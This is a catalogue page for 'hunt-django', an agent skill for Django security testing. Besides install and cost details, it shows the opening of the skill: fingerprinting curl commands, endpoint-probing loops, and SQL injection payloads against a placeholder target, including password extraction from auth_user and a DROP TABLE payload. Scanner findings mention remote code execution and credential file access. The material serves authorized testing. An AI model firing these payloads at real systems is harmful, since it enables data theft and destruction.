Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/uphiago/recon-skillsnpx agentmods add skills/uphiago/recon-skills/hunt-djangoWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-django)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-django"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-django/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-django"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-django.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Supply Chain · line 44 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Privilege Escalation · line 106 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- medium Data Exfiltration · line 92 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00022 | $0.01495 |
| Opus 5 | $0.00011 | $0.00747 |
| Sonnet 5 | $0.00004 | $0.00299 |
| Haiku 4.5 | $0.00002 | $0.00150 |
Grade A, and why
hunt-django scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
compatibility: Requires curl, python3 How it starts
The opening of the file, as written. The whole thing — 147 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Django Security Hunting
Hunt Django-specific vulnerabilities focusing on Django REST Framework (DRF) permission class gaps, ORM raw query injection, template injection via |safe and mark_safe, and Django admin panel exploitation. Django's batteries-included approach creates unique attack surface: admin interface, ORM query building, DRF serializers, Channels WebSockets, and Celery task queues.
When to Use
- Target uses Python/Django (indicated by
csrftokencookie,/admin/login, DRF browsable API, or__debug__toolbar). - DRF API endpoints with class-based views and permission classes.
- Django Admin interface is reachable at
/admin/or custom path. - Celery task queues process user-supplied data.
- Django Channels WebSocket endpoints exist alongside REST API.
Quick Detection
# Django fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/admin/login/" | grep -iE "csrftoken|sessionid|django"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com" | grep -Eo 'csrftoken|__debug__|django'
Procedure
Phase 1 — DRF Permission Class Gaps
# DRF list vs retrieve vs custom @action — each may have different permissions
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/" # list: may be restricted
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1/" # retrieve: may leak individual
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/me/" # me: may work without auth
# Custom @action endpoints often miss permission checks
# Test common DRF action names
for action in "export" "import" "bulk" "search" "stats" "report" \
"activate" "deactivate" "reset-password" "send-invite"; do
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users/$action/" \
-w "%{http_code} — $action\n" -o /dev/null
done
Phase 2 — ORM Raw Query Injection
# Django raw() — direct SQL injection
requests.get("https://target.com/api/search/?q=' UNION SELECT username,password FROM auth_user--")
# Django extra() — where clause injection
requests.get("https://target.com/api/products/?category=1' OR '1'='1")
# RawSQL in annotations
requests.get("https://target.com/api/stats/?order=name'); DROP TABLE auth_user;--")
# Django cursor.execute() on user input
# Find via code review: cursor.execute(f"SELECT * FROM {table}")
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 147 lines · 22 tokens per session scan A 9c7c2f249805
hunt-django is a skill published in the GitHub repository uphiago/recon-skills (1,251 stars, last pushed 9d ago), licensed MIT. It adds 22 tokens to every session and 1,495 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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